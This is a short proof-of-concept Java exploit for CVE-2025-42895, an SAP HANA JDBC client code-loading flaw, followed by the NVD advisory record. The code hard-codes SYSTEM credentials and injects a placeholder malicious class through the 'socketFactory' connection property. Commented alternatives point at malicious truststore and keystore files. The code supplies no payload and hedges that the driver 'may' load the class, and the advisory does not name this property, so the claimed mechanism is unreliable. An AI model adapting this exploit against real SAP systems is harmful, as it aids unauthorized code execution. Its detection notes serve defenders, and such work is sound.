CVE-2025-42895

// CVE-2025-42895 PoC - SAP HANA JDBC Client Unauthorized Code Loading // This PoC demonstrates how crafted connection properties can lead to code loading import java.util.Properties; import java.sql.DriverManager; import java.sql.Connection; public class CVE_2025_42895_PoC { public static void main(String[] args) { try { // Load SAP HANA JDBC Driver Class.forName("com.sap.db.jdbc.Driver"); Properties props = new Properties(); props.setProperty("user", "SYSTEM"); props.setProperty("password", "YourPassword123"); // Crafted malicious connection properties // Attack vector: manipulating socketFactory property props.setProperty("socketFactory", "com.malicious.MaliciousSocketFactory"); // Alternative attack vectors // props.setProperty("sslTrustStore", "file:///path/to/malicious/truststore"); // props.setProperty("sslKeyStore", "file:///path/to/malicious/keystore"); // Attempt connection with crafted parameters String url = "jdbc:sap://target-hana-server:30015"; Connection conn = DriverManager.getConnection(url, props); System.out.println("[+] Connection established - Potential code execution via crafted property"); } catch (ClassNotFoundException e) { System.out.println("[-] SAP HANA JDBC Driver not found"); } catch (Exception e) { System.out.println("[-] Connection failed: " + e.getMessage()); // In real attack, the driver may attempt to load the specified class // even if connection fails, leading to code execution } } } /* Attack Requirements: 1. High-privilege local authenticated user access 2. Ability to modify JDBC connection parameters 3. Target system running vulnerable SAP HANA JDBC Client version Detection: - Monitor for unexpected class loading via JDBC driver - Log and audit JDBC connection properties - Monitor for suspicious socketFactory or SSL-related property usage */

{"cve": {"id": "CVE-2025-42895", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:38.487", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to insufficient validation of connection property values, the SAP HANA JDBC Client allows a high-privilege locally authenticated user to supply crafted parameters that lead to unauthorized code loading, resulting in low impact on confidentiality and integrity and high impact on availability of the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:H", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://me.sap.com/notes/3643385", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}